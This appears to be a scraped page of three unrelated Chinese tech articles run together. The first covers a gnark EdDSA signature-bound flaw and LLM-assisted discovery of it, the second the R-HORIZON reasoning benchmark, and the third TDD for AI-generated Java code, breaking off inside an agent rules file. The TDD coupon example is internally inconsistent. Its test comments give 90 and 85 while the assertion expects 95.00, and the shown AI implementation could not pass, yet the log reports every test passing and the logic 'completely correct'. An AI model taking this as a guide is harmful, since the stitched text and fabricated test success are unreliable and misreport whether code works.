在玄武实验室披露后,其与上海交通大学 GOSSIP 实验室及郁昱教授团队完成了漏洞复现与影响分析,并推动社区修复。但值得注意的是:即便该漏洞构造并不复杂,其初始“修复”却并不严谨。在早期修复链路中,签名标量 S 的取值约束仍存在边界条件缺口——实现里检查的是 s <= order,而标准要求的是 严格不等 s < order。这会在极端边界(例如 s = order)下引入等价关系,使得签名对在形式上出现可塑性(可理解为 (R, 0) 与 (R, order) 的等价风险点),从而留下“理论上可被利用、工程上可能被误用”的残余隐患。

为消除这一残余风险,我们(星图实验室)进一步向 gnark 上游报告并推动修复:最终在 PR #1684 将约束从 AssertIsLessOrEqual 调整为严格比较(在 std/signature/eddsa/eddsa.go 中用 cmp.IsLess 并断言结果为 1),使 EdDSA 验证满足 S < order 的严格要求;该 PR 已于 2026-01-21 合入主分支,并在CVE-2025-57801中获得了致谢。

更有意思的是,这个“残余隐患”的发现路径,几乎与玄武实验室依赖复杂 Agent 体系(Atuin)进行自动化挖掘的路径相反:星图研究员在看到玄武实验室相关信息后第一时间尝试复现。作为安全研究团队,我们希望对 AI/大模型在漏洞分析中的有效性做更“朴素但可对照”的评估——因此我们没有调用外部网络,也没有搭建多工具链 Agent,而是把公开上下文(即ecdsa.go,prompt为:“请你帮我查找其中的安全隐患”。)直接投喂给 Gemini 2.5 Pro 与 GPT-5。出乎意料的是,在“无外部检索、无复杂编排”的条件下,大模型依然给出了准确的漏洞挖掘、机理拆解与推导链路,并能自然地把关注点落到“约束是否完备/边界是否严格”这种最容易在修复阶段被忽略的细节上。

我们关注到当时的网络安全圈的一些评论,例如微博上对这个的讨论是: “用 AI 发现代码中的漏洞已经没什么稀奇了。但是在密码学库,尤其是经过多轮人工审计的 Web3 社区的密码学库里还能发现漏洞,这就让我们对 AI 能力边界的认知又扩大了一圈。” 这个案例给了我们一些新的如何利用AI能力开展安全研究的启发,AI的能力在目前的安全研究人员认知中可能被低估了,需要大家进一步评估AI挖掘漏洞的潜力。

相关链接:

  • 我们的AI发现了一个零知识证明库的漏洞,Sam Altman的项目也用了这个库https://mp.weixin.qq.com/s/MefyWBQJKU2Mf0vLwau8MQ
  • gnark 官方漏洞公告:Security Advisories · Consensys/gnark · GitHub
  • CVE-2025-57801:NVD – CVE-2025-57801

一、推理模型⾯临的新挑战

随着 OpenAI o1 、 DeepSeek-R1 等大型推理模型(LRMs)的问世, AI 推理能力迎来了「测试时扩展」的新阶段。这些模型通过长链思维(Long Chain-of-Thought, CoT)在数学推理、代码生成、智能体任务等领域展现出强大能力。

然而,现有评测体系存在一个关键盲区:主流基准测试(如 MATH500 、AIME)主要关注独立的单一问题,每个问题相互隔离,模型只需「—问—答」即可。

但现实应用场景往往大相径庭:

  • 软件开发中需要连续处理多个关联代码模块
  • 数学证明需要基于前序推导逐步构建后续结论
  • 智能助手往往需要在多轮交互逐步完成复杂任务

这些真实场景要求模型具备跨任务的长链推理能力——不仅要解决单个子问题,更要在多个关联任务间保持推理—致性、合理分配计算资源、实现跨步骤的反思与纠错。

核心问题:当前大型推理模型的长链推理能力边界到底在哪里?

由于现有评测无法回答这—问题,传统训练数据也难以培养这种能力(如图所示,模型在长程推理场景下表现明显退化)。

图 1:R1  系列模型在长程推理场景下的理论准确率与实际准确率对比

复旦大学与美团 LongCat 联合推出 R-HORIZON——首个系统性评估与增强 LRMs 长链推理能力的评测框架与训练方法。

二、方法论:Query Composition 范式

核心创新

R-HORIZON 提出了问题组合(Query Composition)方法,通过构建问题间的依赖关系,将孤立任务转化为复杂的多步骤推理链。

以数学任务为例,该方法包含三个步骤:

1. 信息提取:从独立问题中提取核心数值、变量等关键信息
2. 依赖构建:将前序问题的答案嵌入到后续问题的条件中
3. 链式推理:模型必须顺序解决所有子问题才能获得最终答案

方法优势

  • 灵活扩展:可自由控制推理链长度(n = 2, 4, 8…)
  • 精确可控:可灵活设定问题间的依赖强度
  • 高效低成本:基于现有数据集构建,无需额外人工标注

基于此方法,我们构建了 R-HORIZON Benchmark 用于系统性评估 LRMs 的多步推理能力,同时生成了长链推理训练数据,通过强化学习(RLVR)提升模型性能。

图 2:R-HORIZON 方法流程——从单 — 问题到复杂推理链的转化及应用场景

三、评测基准:R-HORIZON Benchmark

数据集构成

基于 Query Composition 方法,我们构建了涵盖 6 个代表性数据集的 R-HORIZON Benchmark:

评测发现:性能断崖现象

我们评测了 20+ 个主流 LRMs(包括 o4-mini 、Claude-Sonnet-4 、 DeepSeek-R1 等顶级商业模型及开源模型),揭示了—个重要现象。

顶级推理模型在长链推理场景下均出现显著性能下降!

主要发现:

  • 普遍性能退化:所有模型随问题数量增加均出现明显性能下降。DeepSeek-R1 在 AIME25 单问题场景准确率达 87.3%,但在 5 个组合问题场景下骤降至 24.6%。
  • 规模效应:更大规模的模型对多步推理挑战表现出更强的鲁棒性。
  • 任务差异:代码生成任务相比数学任务表现出更陡峭的性能衰退;多数推理模型在网页搜索场景中丧失工具调用能力。

图 3:R-HORIZON Benchmark  评测结果—— 所有模型均出现显著性能衰退

四、机制分析:推理模型的三大瓶颈

为深入理解性能断崖的成因,我们进行了系统的机制分析,识别出当前 LRMs 的三个关键瓶颈:

瓶颈 1:有效推理长度受限

随着相互依赖问题数量增加,LRMs 难以维持原有性能水平。实际准确率与理论准确率之间的差距显著扩大。

深入分析显示:

  • 模型错误集中在特定上下文范围内
  • 7B 模型的主要错误范围在 (4-6K tokens)
  • 32B 模型将范围扩展到 (8-10K tokens)
  • 更大模型具有更长的有效推理边界

图 4:R1-Qwen-7B 和 R1-Qwen-32B  的准确率及错误位置分析

瓶颈 2: 反思机制高度局部化

对模型「反思」行为的分析发现发现:

  • 模型反思频率随问题数量增加而上升并趋于收敛。
  • 超过半数复杂任务 完全缺乏 长程反思 (跨越当前问题的反思)。
  • 当前 LRMs 的反思机制 高度局部化,无法支撑长链场景需求。

图 5:MATH500  数据集上的反思行为分析

瓶颈 3:思考预算分配失衡

最令人意外的发现:包括 DeepSeek-R1 在内的主流 LRMs 无法有效分配思考预算

  • 模型倾向于过度分配 tokens 给早期推理阶段
  • 未能合理分配资源给后续关键问题
  • 这种失衡严重影响整体推理链的完成质量

图 6:不同组合问题数量下各模型的思考预算分配

五、 训练方案:突破能力边界

发现瓶颈后,我们进—步探索:能否通过长链数据的强化学习训练突破这些限制?

训练策略

我们基于 R-HORIZON 构建的长链推理数据,采用 GRPO 算法进行训练:

  • 算法:主流 RLVR 算法 GRPO
  • 数据: R-HORIZON 组合数据(n = 2, n = 4)
  • 实验:不同奖励函数的对比实验

训练效果:双重性能提升

实验结果显示:R-HORIZON 训练不仅显著提升长链任务表现,单问题性能也大幅增强!

核心数据

注:加粗数字表示该列最佳成绩

图 7:不同训练配置下的性能对比

关键发现

  1. 双重提升:使用 n = 2 组合问题训练,多步推理性能大幅提升(AIME24 n = 2 +17.4 分),单问题性能也显著增强(AIME24 单题 +7.5 分)。
  2. 可扩展性:增加组合复杂度(n = 4)增强了模型处理更多推理步骤问题的能力,在 MATH500 (n = 8) 上达到 50.6%。

训练带来的质变

R-HORIZON 训练带来了推理机制的深层改变:

  • 更高效的推理长度:显著改善组合任务性能,更好地泛化到更长推理链,同时缓解「overthinking」现象
  • 更合理的预算分配:学会在多步问题中进行更合理的 token 预算分配
  • 更长程的反思能力:促进了长程反思频率增加,直接改善长链推理性能

图 8:使用标准数据集和组合数据集进行强化学习的效果分析

六、结论与展望

R-HORIZON 标志着大型推理模型研究的范式转变——从「能解决什么问题」到「能走多远」。

技术贡献

  • 首个长链推理评测基准:系统性揭示 LRMs 的能力边界及三大瓶颈。
  • 可扩展训练范式:提供低成本、高效率的能力提升路径。
  • 深度机制分析:为未来推理模型改进指明方向。

AI生成代码质量难以把控!本文分享来自美团的技术实践,三大策略破解AI编程痛点。单测快速验证逻辑正确性,安全网保护存量代码演进,TDD模式精准传递需求。告别「看起来没问题」的错觉,构建AI时代的代码质量保障体系。

一、引言

目前,国内外很多AI Coding助手能在几秒钟内生成完整代码块,大大提升了开发效率,但这种高速开发模式也带来了潜在风险——与人工编码不同是,AI Coding助手生成代码存在两个特殊风险:其一,AI Coding助手依赖于上下文与模型自身的能力,输出的代码质量相对不可控。其二,AI生成的代码虽然逻辑通顺、结构完整,但可能隐藏着难以察觉的边界问题或逻辑缺陷。

核心问题:我们如何快速的验证AI生成代码的质量和可靠性?

本文旨在分享如何借助单元测试,让AI编程合作更高效可靠,主要解决三个常见痛点:

  1. 肉眼审查困境:AI一次性生成大量代码时,难以快速准确判断逻辑完备性;
  2. 存量代码信任危机:如何验证AI修改老代码时,不会产生非预期的结果;
  3. 需求传达难题:如何精准向AI表达复杂需求并快速验证。

针对上述三个常见痛点,本文提出采用不同的单元测试策略来应对以上问题。每个策略都针对一个特定痛点设计:策略一通过测试解决肉眼审查的局限性;策略二构建单测安全网应对存量代码的信任问题;策略三则采用TDD模式优化需求传达与验证流程。下文将依次展开说明,希望能对大家有所帮助或启发。

二、策略一:单测检验AI代码逻辑正确性

2.1 问题背景

传统的人工代码审查在AI生成的大量代码面前显得低效且不可靠。在软件测试实践中,有着测试左移(Shift Left Testing)的概念,本质上是借助工具和测试手段更早地发现问题和预防问题。在AI Coding时代,这一理念尤为关键:跳过单元测试直接集成测试看似”抄近路”,实则是将风险后置——开发阶段几分钟能发现的Bug,在集成测试环境可能需要较长定位修复,这中间包含了代码部署、环境准备、测试条件的准备、问题定位、开发人员修复、再次部署验证等一系列漫长的环节。

相比之下,单元测试具有独特的优势:它能够独立运行、快速验证结果,并且可以无限次重复执行。这种测试方式就像是为项目进行的一次性投资,却能为整个开发周期构建起一张可靠的“安全网”。它不仅能实时验证AI Coding生成的代码是否正确,更能持续保障未来代码的质量稳定性,让开发团队始终对代码库保持信心。

2.2 案例:分页查询接口的隐蔽Bug

任务背景:实现一个支持多条件筛选的复杂分页查询接口pageQueryRobot

AI生成了如下核心查询逻辑:

public List<AgentRobotE> pageQueryRobotsByCondition(List<Long> shopIds, String chatSceneCode,
        Boolean enabled, Integer pageNo, Integer pageSize) {
    // ... 前置校验代码 ...

    // 分页查询机器人基础信息
    int offset = (pageNo - 1) * pageSize;
    List<AgentRobotEntity> entities = robotIds.stream()
            .skip(offset)
            .limit(pageSize)
            .map(robotId -> agentRobotDAO.getRobotById(robotId, false))
            .filter(Objects::nonNull)
            // 问题代码:类型不匹配的隐蔽Bug
            .filter(entity -> enabled == null || Objects.equals(entity.getEnabled(), enabled ? 1 : 0))
            .filter(entity -> Objects.equals(entity.getChatSceneCode(), chatSceneCode))
            .collect(Collectors.toList());

    return entities.stream()
            .map(this::convertToModel)
            .filter(Objects::nonNull)
            .collect(Collectors.toList());
}

问题分析:这段代码看起来逻辑完整,但第8行的过滤逻辑包含了多个复杂元素:

  • 三元运算符 enabled ? 1 : 0
  • Objects.equals 的使用
  • Boolean到Integer的隐式逻辑转换

仅凭肉眼很难发现其中的类型不匹配问题。

单元测试发现问题:通过AI编写了17个全面的单元测试用例,覆盖:

  • 正常场景:各种有效参数组合
  • 边界场景:null值、空集合处理
  • 参数组合:enabled为true/false/null的不同情况
@Test
public void testPageQueryWhenEnabledIsTrue() {
    // arrange
    List<Long> shopIds = Arrays.asList(12345L, 67890L);
    String chatSceneCode = "SCENE_C";
    Boolean enabled = true;  // 测试enabled为true的情况

    // 模拟数据库返回的实体,enabled字段为Boolean类型
    AgentRobotEntity mockEntity = new AgentRobotEntity();
    mockEntity.setEnabled(true);  // 注意:这里是Boolean类型
    mockEntity.setChatSceneCode("SCENE_C");

    when(agentRobotDAO.getRobotById(anyLong(), eq(false))).thenReturn(mockEntity);

    // act
    List<AgentRobotE> result = repository.pageQueryRobotsByCondition(
        shopIds, chatSceneCode, enabled, 1, 10);

    // assert - 这个测试失败了!
    assertEquals(1, result.size());  // 期望返回1个结果,实际返回0个
}

测试运行结果:当enabled为true时测试失败!

问题定位:通过测试失败,快速定位到过滤逻辑的问题:

// 错误的逻辑:entity.getEnabled()返回Boolean类型,但与Integer比较
Objects.equals(entity.getEnabled(), enabled ? 1 : 0)
// 当enabled=true时,比较的是 Objects.equals(Boolean.TRUE, 1) -> false
// 当enabled=false时,比较的是 Objects.equals(Boolean.TRUE, 0) -> false

正确修复:

// 修复后:直接比较Boolean类型
.filter(entity -> enabled == null || Objects.equals(entity.getEnabled(), enabled))

意外收获:在审查测试覆盖的代码时,还发现了N+1查询的性能问题:

// 存在性能问题的代码
.map(robotId -> agentRobotDAO.getRobotById(robotId, false))  // 每个robotId单独查询

成果验证:修复后,所有17个单元测试用例全部通过,代码质量得到保障。

三、策略二:构建安全网保护存量代码

3.1 问题场景

AI对存量代码的修改挑战更大。AI看到的可能只是函数或类的局部,无法理解背后的业务规则和历史包袱。如何放心的让AI修改已有的代码?

在进行AI Coding前,需要确保旧有逻辑,处于单元测试的完全覆盖保护中,这就像在开启汽车的“自动辅助驾驶”功能前,必须先系好安全带一样。这条“安全带”就是我们完善的、可运行的单元测试集。

  • 快速验证,精准反馈:AI生成修改后的代码无需人工逐行对比,只需运行单元测试即可获得即时反馈。测试失败的用例直接揭示AI修改中存在的问题——要么触及了不应改动的逻辑,要么未能正确实现预期变更。这种反馈机制既高效又客观。
  • 清晰界定修改边界:单元测试结果帮助我们明确判断——AI的修改是否精准实现了目标?在引入新功能的同时是否完整保留了原有逻辑?通过区分预期内的失败(主动修改旧逻辑)和意外失败(破坏现有功能),我们获得了优化AI方案的明确方向,大幅提升了迭代效率。

3.2 案例:延迟回复策略的用户范围扩展

业务背景:需要将消息延迟回复服务从原来的平台A、平台B的用户扩展到平台C用户。

原始代码分析:

// TextDelayReplyStrategy.java 中的核心逻辑
private boolean needSkip(ChatHistoryE chatHistoryE) {
    UserDTO UserDTO = UserHelper.parseUser(chatHistoryE.getUserId());
    return MessageSendDirectionEnum.CLIENT_SEND.value != chatHistoryE.getMessageStatus()
               || MessageShieldEnum.RECEIVER_SHIELD.value == chatHistoryE.getShield()
               || UserDTO == null
               || !UserType.isLoginUser(UserDTO.getUserType());  // 关键判断逻辑
}

这个needSkip方法决定了哪些用户类型需要跳过延迟回复处理。原逻辑中,UserType.isLoginUser()只覆盖平台A、平台B的登录用户,不包括平台C用户。

修改前的安全网构建:

按照“分析-测试-实施-验证”方法论,首先完善单元测试:

// 针对现有逻辑的保护性测试
@Test
public void testNeedSkipWithAUser() {
    // 平台A用户不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(A_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));
}

@Test
public void testNeedSkipWithBUser() {
    // 平台B用户不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(B_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));
}

@Test
public void testNeedSkipWithCUser() {
    // 平台C在修改前应被跳过
    ChatHistoryE chatHistory = buildChatHistory(C_USER_ID);
    assertTrue(strategy.needSkip(chatHistory));  // 修改前的预期行为
}

@Test
public void testNeedSkipWithGuestUser() {
    // 游客用户应被跳过
    ChatHistoryE chatHistory = buildChatHistory(GUEST_USER_ID);
    assertTrue(strategy.needSkip(chatHistory));
}

运行基线测试:确保所有测试通过,建立基线状态

[INFO] Tests run: 15, Failures: 0, Errors: 0, Skipped: 0
[INFO] 所有现有逻辑测试通过,可以安全修改

AI辅助修改实施:

向AI提供需求:”将平台C用户也纳入延迟回复服务范围”

AI分析代码后给出修改方案:

// 修改后的代码
private boolean needSkip(ChatHistoryE chatHistoryE) {
    UserDTO UserDTO = UserHelper.parseUser(chatHistoryE.getUserId());
    return MessageSendDirectionEnum.CLIENT_SEND.value != chatHistoryE.getMessageStatus()
               || MessageShieldEnum.RECEIVER_SHIELD.value == chatHistoryE.getShield()
               || UserDTO == null
               || !UserType.isAorBorCLoginUser(UserDTO.getUserType());  // 扩展用户范围
}

验证阶段的精准反馈:

修改后运行测试集:

# 运行结果
[INFO] Tests run: 15, Failures: 1, Errors: 0, Skipped: 0
[ERROR] testNeedSkipWithCProviderUser: expected:<true> but was:<false>

结果分析:

✅ testNeedSkipWithAUser - 通过(平台A用户逻辑未变)
✅ testNeedSkipWithBUser - 通过(平台B用户逻辑未变)
❌ testNeedSkipWithCUser - 失败(平台C预期的变更)
✅ testNeedSkipWithGuestUser - 通过(游客用户逻辑未变)

更新期望值:

@Test
public void testNeedSkipWithCUser() {
    // 修改后:平台C不应被跳过
    ChatHistoryE chatHistory = buildChatHistory(C_USER_ID);
    assertFalse(strategy.needSkip(chatHistory));  // 更新期望值
}

最终验证:

[INFO] Tests run: 15, Failures: 0, Errors: 0, Skipped: 0
[INFO] 所有测试通过,修改安全完成

这种方法将开发者从“担心AI改坏代码”的不信任中解放出来,明确知道哪些功能被影响,哪些保持不变,实现安全、高效的存量代码演进。

四、策略三:TDD思想驱动AI开发

4.1 “先生成,后验证”的局限

前面两节所提到的策略可以归类为”先生成,后验证”,在一定的场景下仍然存在两个问题:

  • 提示词驱动:开发者反复修改自然语言描述,AI产出不确定,返工频繁;
  • 肉眼审查:生成测试用例仍然需要人工验证,一旦用例较多,效率依然低下。

4.2 TDD模式的革命性转变

TDD 核心理念:

  • 测试先行:先写测试,再写实现代码。
  • 小步快跑:以微小增量推进开发,每次只解决一个问题。
  • 设计驱动:测试即需求文档,驱动接口设计和代码结构。
  • 安全网:测试集提供即时反馈,支持安全重构。

整个开发过程严格遵循 Red -> Green -> Refactor 的循环。

  • 🔴 Red: 先编写一个失败的单元测试,用代码来定义我们期望实现的功能。
  • 🟢 Green: 编写最精简的业务代码,让测试恰好通过。
  • 🔵 Refactor: 在测试持续通过的前提下,重构优化代码的设计和质量。

借助测试驱动开发(TDD)思想,我们先为AI提供一份清晰、无歧义的“需求说明书”和“验收标准”,然后指导它进行代码的生成。这个过程的核心是“🔴 红-🟢 绿-🔵 重构”循环,它将我们的每一次的对话,都转化为一次可验证的、可累加的进步。采用“先验证,后实现”的红-绿-重构循环,将模糊的需求转化为精确的代码语言。

4.3 案例:优惠券使用规则引擎的复杂逻辑

业务需求:开发一个智能优惠券使用规则引擎,支持”多券叠加使用和最优组合推荐”

传统困难

  • 自然语言描述:“实现优惠券规则引擎,支持多种券类型的叠加使用,并智能推荐最优使用方案”
  • AI需要猜测:哪些券可以叠加?什么是“最优”?有哪些使用限制?
  • 反复沟通:多次修改提示词,AI理解仍然偏离业务实际

第一次尝试:AI理解为“简单累加所有优惠”

// AI第一次实现 - 过于简化
public BigDecimal calculateDiscount(Order order, List<Coupon> coupons) {
    return coupons.stream()
        .map(coupon -> coupon.getDiscountAmount())
        .reduce(BigDecimal.ZERO, BigDecimal::add);
}
// 问题:忽略了券的使用条件、互斥规则、叠加限制

第二次尝试:AI理解为“选择面额最大的券”

// AI第二次实现 - 逻辑错误
public List<Coupon> selectOptimalCoupons(Order order, List<Coupon> availableCoupons) {
    return availableCoupons.stream()
        .filter(coupon -> order.getTotalAmount().compareTo(coupon.getMinOrderAmount()) >= 0)
        .max(Comparator.comparing(Coupon::getDiscountAmount))
        .map(List::of)
        .orElse(Collections.emptyList());
}
// 问题:只考虑单券最大优惠,未考虑多券组合的更优效果

第三次尝试:AI尝试复杂逻辑但引入更多问题

// AI第三次实现 - 逻辑混乱
public CouponUsageResult applyCoupons(Order order, List<Coupon> coupons) {
    // 各种复杂的if-else嵌套,但缺乏清晰的业务规则
    // 没有处理券的互斥关系
    // 没有考虑计算顺序对最终优惠的影响
    // 边界条件处理不当
}

经过多轮提示词优化,每次都需要重新解释复杂的业务规则,仍不满足预期。

TDD方式的完整循环:

🔴 红色阶段:用测试定义需求

编写测试用例,精确定义复杂的业务规则:

@Test
public void testCouponUsageWithBasicStackingRules() {
    // 构造订单:总价100元,包含数码产品
    Order order = new Order()
        .setTotalAmount(new BigDecimal("100.00"))
        .addItem("数码产品", new BigDecimal("100.00"));
    
    // 构造可用优惠券
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setType("满减券").setCondition("满50减10").setDiscountAmount(new BigDecimal("10")),
        new Coupon().setType("打折券").setCondition("数码类9折").setDiscountRate(new BigDecimal("0.9")),
        new Coupon().setType("免邮券").setCondition("免运费").setDiscountAmount(new BigDecimal("5"))
    );
    
    // 期望结果:满减券和免邮券可叠加,打折券与满减券互斥,应选择最优组合
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证最优方案:使用打折券+免邮券 (90+0=90元,比满减券+免邮券的85元更优)
    assertEquals(2, result.getUsedCoupons().size());
    assertTrue(result.getUsedCoupons().stream().anyMatch(c -> "打折券".equals(c.getType())));
    assertTrue(result.getUsedCoupons().stream().anyMatch(c -> "免邮券".equals(c.getType())));
    assertEquals(new BigDecimal("95.00"), result.getFinalAmount()); // 100*0.9 + 0 - 5运费
}

@Test  
public void testCouponMutualExclusionRules() {
    Order order = new Order().setTotalAmount(new BigDecimal("200.00"));
    
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setType("满减券").setCondition("满100减30").setDiscountAmount(new BigDecimal("30")),
        new Coupon().setType("打折券").setCondition("全场8折").setDiscountRate(new BigDecimal("0.8")),
        new Coupon().setType("新用户专享").setCondition("首单5折").setDiscountRate(new BigDecimal("0.5"))
    );
    
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证互斥规则:新用户券与其他券互斥,且优惠最大,应该单独使用
    assertEquals(1, result.getUsedCoupons().size());
    assertEquals("新用户专享", result.getUsedCoupons().get(0).getType());
    assertEquals(new BigDecimal("100.00"), result.getFinalAmount()); // 200 * 0.5
}

@Test
public void testCouponUsageConditionValidation() {
    Order order = new Order()
        .setTotalAmount(new BigDecimal("30.00"))
        .setUserLevel("普通用户")
        .addItem("服装", new BigDecimal("30.00"));
    
    List<Coupon> availableCoupons = Arrays.asList(
        new Coupon().setCondition("满50减10"), // 不满足金额条件
        new Coupon().setCondition("VIP专享9折"), // 不满足用户等级条件  
        new Coupon().setCondition("数码类8折"), // 不满足品类条件
        new Coupon().setCondition("无门槛5元券").setDiscountAmount(new BigDecimal("5")) // 满足条件
    );
    
    CouponUsageResult result = CouponEngine.calculateOptimalUsage(order, availableCoupons);
    
    // 验证条件判断:只有无门槛券可用
    assertEquals(1, result.getUsedCoupons().size());
    assertEquals("无门槛5元券", result.getUsedCoupons().get(0).getCondition());
    assertEquals(new BigDecimal("25.00"), result.getFinalAmount());
}

运行测试:

[ERROR] testCouponUsageWithBasicStackingRules: 
Class CouponEngine doesn't exist
[ERROR] testCouponMutualExclusionRules:
Method calculateOptimalUsage not found

红色阶段成功:测试失败,但复杂的业务规则已经通过代码精确表达。

🟢 绿色阶段:AI精确实现

将失败的测试用例提供给AI:“请实现CouponEngine.calculateOptimalUsage方法,让这些测试通过”

AI分析测试用例后,精确理解了复杂的业务规则:

  1. 券类型包括满减券、打折券、免邮券、新用户券等
  2. 不同券有不同的叠加和互斥规则
  3. 需要验证使用条件(金额、用户等级、商品类别)
  4. 要计算最优的券使用组合

AI生成的实现方案:

public class CouponEngine {
    public static CouponUsageResult calculateOptimalUsage(Order order, List<Coupon> availableCoupons) {
        // 1. 过滤出满足使用条件的券
        List<Coupon> eligibleCoupons = availableCoupons.stream()
            .filter(coupon -> isEligible(order, coupon))
            .collect(Collectors.toList());
        
        // 2. 生成所有可能的券组合(考虑互斥规则)
        List<List<Coupon>> validCombinations = generateValidCombinations(eligibleCoupons);
        
        // 3. 计算每种组合的最终优惠,选择最优方案
        return validCombinations.stream()
            .map(combination -> calculateResult(order, combination))
            .min(Comparator.comparing(CouponUsageResult::getFinalAmount))
            .orElse(new CouponUsageResult(order.getTotalAmount(), Collections.emptyList()));
    }
    
    private static boolean isEligible(Order order, Coupon coupon) {
        String condition = coupon.getCondition();
        
        // 金额条件检查
        if (condition.contains("满") && condition.contains("减")) {
            BigDecimal minAmount = extractMinAmount(condition);
            if (order.getTotalAmount().compareTo(minAmount) < 0) return false;
        }
        
        // 用户等级检查
        if (condition.contains("VIP") && !"VIP用户".equals(order.getUserLevel())) {
            return false;
        }
        
        // 商品类别检查
        if (condition.contains("数码类") && !order.hasCategory("数码产品")) {
            return false;
        }
        
        return true;
    }
    
    private static List<List<Coupon>> generateValidCombinations(List<Coupon> coupons) {
        List<List<Coupon>> combinations = new ArrayList<>();
        
        // 生成所有子集组合
        for (int i = 0; i < Math.pow(2, coupons.size()); i++) {
            List<Coupon> combination = new ArrayList<>();
            for (int j = 0; j < coupons.size(); j++) {
                if ((i & (1 << j)) != 0) {
                    combination.add(coupons.get(j));
                }
            }
            
            // 检查组合是否符合互斥规则
            if (isValidCombination(combination)) {
                combinations.add(combination);
            }
        }
        
        return combinations;
    }
    
    private static boolean isValidCombination(List<Coupon> combination) {
        // 检查互斥规则
        boolean hasDiscountCoupon = combination.stream().anyMatch(c -> "打折券".equals(c.getType()));
        boolean hasReduceCoupon = combination.stream().anyMatch(c -> "满减券".equals(c.getType()));
        boolean hasNewUserCoupon = combination.stream().anyMatch(c -> "新用户专享".equals(c.getType()));
        
        // 新用户券与其他券互斥
        if (hasNewUserCoupon && combination.size() > 1) {
            return false;
        }
        
        // 打折券与满减券互斥
        if (hasDiscountCoupon && hasReduceCoupon) {
            return false;
        }
        
        return true;
    }
    
    private static CouponUsageResult calculateResult(Order order, List<Coupon> usedCoupons) {
        BigDecimal finalAmount = order.getTotalAmount();
        
        // 按照优先级顺序应用优惠
        for (Coupon coupon : usedCoupons) {
            if ("打折券".equals(coupon.getType())) {
                finalAmount = finalAmount.multiply(coupon.getDiscountRate());
            } else if ("满减券".equals(coupon.getType()) || "无门槛5元券".equals(coupon.getCondition())) {
                finalAmount = finalAmount.subtract(coupon.getDiscountAmount());
            } else if ("免邮券".equals(coupon.getType())) {
                // 免邮券单独处理运费
                finalAmount = finalAmount.subtract(coupon.getDiscountAmount());
            }
        }
        
        return new CouponUsageResult(finalAmount, usedCoupons);
    }
}

运行测试:

[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
[INFO] All tests passed!

绿色阶段成功:测试通过,复杂的业务逻辑完全正确。

🔵 重构阶段:优化代码质量

在测试保护下,对AI生成的代码进行质量优化:

public class CouponEngine {
    // 提取常量,增强可读性
    private static final Set<String> MUTUALLY_EXCLUSIVE_TYPES = Set.of("打折券", "满减券");
    private static final String NEW_USER_COUPON_TYPE = "新用户专享";
    
    public static CouponUsageResult calculateOptimalUsage(Order order, List<Coupon> availableCoupons) {
        if (CollectionUtils.isEmpty(availableCoupons)) {
            return new CouponUsageResult(order.getTotalAmount(), Collections.emptyList());
        }
        
        // 使用策略模式优化条件验证
        List<Coupon> eligibleCoupons = availableCoupons.stream()
            .filter(coupon -> CouponValidator.isEligible(order, coupon))
            .collect(Collectors.toList());
        
        // 使用组合算法优化券组合生成
        List<List<Coupon>> validCombinations = CouponCombinator.generateValidCombinations(eligibleCoupons);
        
        // 使用计算引擎优化折扣计算
        return validCombinations.stream()
            .map(combination -> DiscountCalculator.calculateResult(order, combination))
            .min(Comparator.comparing(CouponUsageResult::getFinalAmount))
            .orElse(new CouponUsageResult(order.getTotalAmount(), Collections.emptyList()));
    }
}

// 职责分离:券验证器
class CouponValidator {
    public static boolean isEligible(Order order, Coupon coupon) {
        return AmountValidator.validate(order, coupon) &&
               UserLevelValidator.validate(order, coupon) &&
               CategoryValidator.validate(order, coupon);
    }
}

// 职责分离:券组合器
class CouponCombinator {
    public static List<List<Coupon>> generateValidCombinations(List<Coupon> coupons) {
        return PowerSetGenerator.generate(coupons).stream()
            .filter(MutualExclusionChecker::isValidCombination)
            .collect(Collectors.toList());
    }
}

// 职责分离:折扣计算器
class DiscountCalculator {
    public static CouponUsageResult calculateResult(Order order, List<Coupon> usedCoupons) {
        // 按优先级排序券,确保计算顺序正确
        List<Coupon> sortedCoupons = usedCoupons.stream()
            .sorted(Comparator.comparing(CouponPriorityResolver::getPriority))
            .collect(Collectors.toList());
        
        BigDecimal finalAmount = order.getTotalAmount();
        
        for (Coupon coupon : sortedCoupons) {
            finalAmount = applyCouponDiscount(finalAmount, coupon);
        }
        
        return new CouponUsageResult(finalAmount, usedCoupons);
    }
    
    private static BigDecimal applyCouponDiscount(BigDecimal currentAmount, Coupon coupon) {
        return CouponTypeHandler.getHandler(coupon.getType())
            .applyDiscount(currentAmount, coupon);
    }
}

重构验证:

[INFO] Tests run: 3, Failures: 0, Errors: 0, Skipped: 0
[INFO] 重构完成,测试持续通过,代码结构更清晰,职责分离更明确

协作模式转变:开发者不再需要为如何描述复杂的业务规则而烦恼,现在只需专注于设计精确的测试场景——我们负责定义“做什么”和“预期结果”,而AI则负责实现具体的“怎么做”。这种明确的分工让复杂逻辑的开发变得既可控又高效。

通过这种方式,我们能够确保:

  1. 需求表达精准无歧义
  2. 边界条件全面覆盖
  3. 实现过程完全可控
  4. 重构过程安全可靠

当需要开发新场景时,只需新增测试用例即可,完全不必担心会破坏原有逻辑。这种开发模式不仅提升了效率,更确保了系统的稳定性和可维护性。

五、实践要点

5.1 环境配置

确保AI Agent能执行mvn test命令

设定明确的行为准则(Rule),让AI能够知道我们现在遵循的开发范式,防止AI为了通过测试”作弊”修改业务代码。一个借助TDD思想驱动代码生成的执行准则如下

# AI Agent 行为准则:TDD 测试驱动开发

## 1. 总则

### 1.1. 概述
为了确保 AI Agent 遵循 TDD(测试驱动开发)的开发模式,Agent 必须严格按照 **Red-Green-Refactor** 三个阶段的循环进行开发。在执行每个阶段前,Agent 必须向开发者明确声明其当前所处的阶段。

本准则旨在确保 Agent 遵循正确的 TDD 开发流程,避免跳过关键步骤。

### 1.2. 环境配置:强制使用指定的 settings.xml
